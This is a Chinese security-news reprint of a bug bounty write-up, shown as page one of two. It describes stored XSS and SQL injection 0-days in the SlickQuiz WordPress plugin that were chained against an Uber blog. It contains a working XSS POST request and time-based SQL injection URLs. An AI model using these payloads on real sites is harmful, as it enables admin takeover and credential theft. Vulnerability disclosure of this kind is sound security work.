欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

综合利用SlickQuiz两个0-Day漏洞接管Uber的WordPress网站

来源:本站整理 作者:佚名 时间:2019-10-08 TAG: 我要投稿


本文讲述作者在参加HackerOne的H1-4420比赛中,针对厂商Uber的某WordPress博客网站为目标,发现其内置问卷调查插件SlickQuiz最新版存在存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)两个漏洞,通过对这两个漏洞的综合利用,最终获取了目标WordPress网站的管理员凭据,实现了从普通访问者到管理员的提权,作者也因此获得了“最具价值黑客”(MVH)的奖励。以下是作者在自架WordPress上对漏洞的测试分享。
SlickQuiz问卷结果保存处存在Stored XSS(CVE-2019-12517)
在对插件SlickQuiz的源码审计中,我发现其在保存问卷结果时存在的多个明显存储型XSS,重要的是:无论“Save user scores”(保存用户结果)的选项是否开启(默认禁用),只要有问卷测验提问出现就足以触发这种存储型XSS,因为“Save user scores”仅只是前端显示的一个开启选项。
问题出在php/slickquiz-scores.php中的generate_score_row()方法函数上(38-52行),前端用户问卷测验答案等相关返回给SlickQuiz的信息,未经适当的编码和过滤验证。以下为 generate_score_row()函数代码:
function generate_score_row( $score )
        {
            $scoreRow = '';
            $scoreRow .= '';
            $scoreRow .= '' . $score->id . '';
            $scoreRow .= '' . $score->name . '';
            $scoreRow .= '' . $score->email . '';
            $scoreRow .= '' . $score->score . '';
            $scoreRow .= '' . $score->createdDate . '';
            $scoreRow .= '' . $this->get_score_actions( $score->id ) . '';
            $scoreRow .= '';
            return $scoreRow;
        }
由于用户名$score->name、邮件$score->email和分数$score->score都是前端用户可控的,所以前端用户构造以下这种请求,就可让后台管理员触发XSS实现:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xssscript>alert(1)script>","email":"test@localhostscript>alert(2)script>","score":"script>alert(3)script>","quiz_id":1}
任何具备SlickQuiz管理权限的管理员,只要在后台查看了用户结果分数之后,就会触发构造请求中的Payload:

这个漏洞已经能非常说明问题了,但我觉得可能还有更多漏洞存在。
SlickQuiz包含id参数的请求存在SQL注入漏洞(CVE-2019-12516)
经我研究发现,SlickQuiz插件只要有id参数出现的请求中,几乎都会存在SQL注入漏洞,如构造以下5秒延迟,包含id参数的三个请求:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
经测试显示,它们都会出现5秒延迟:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载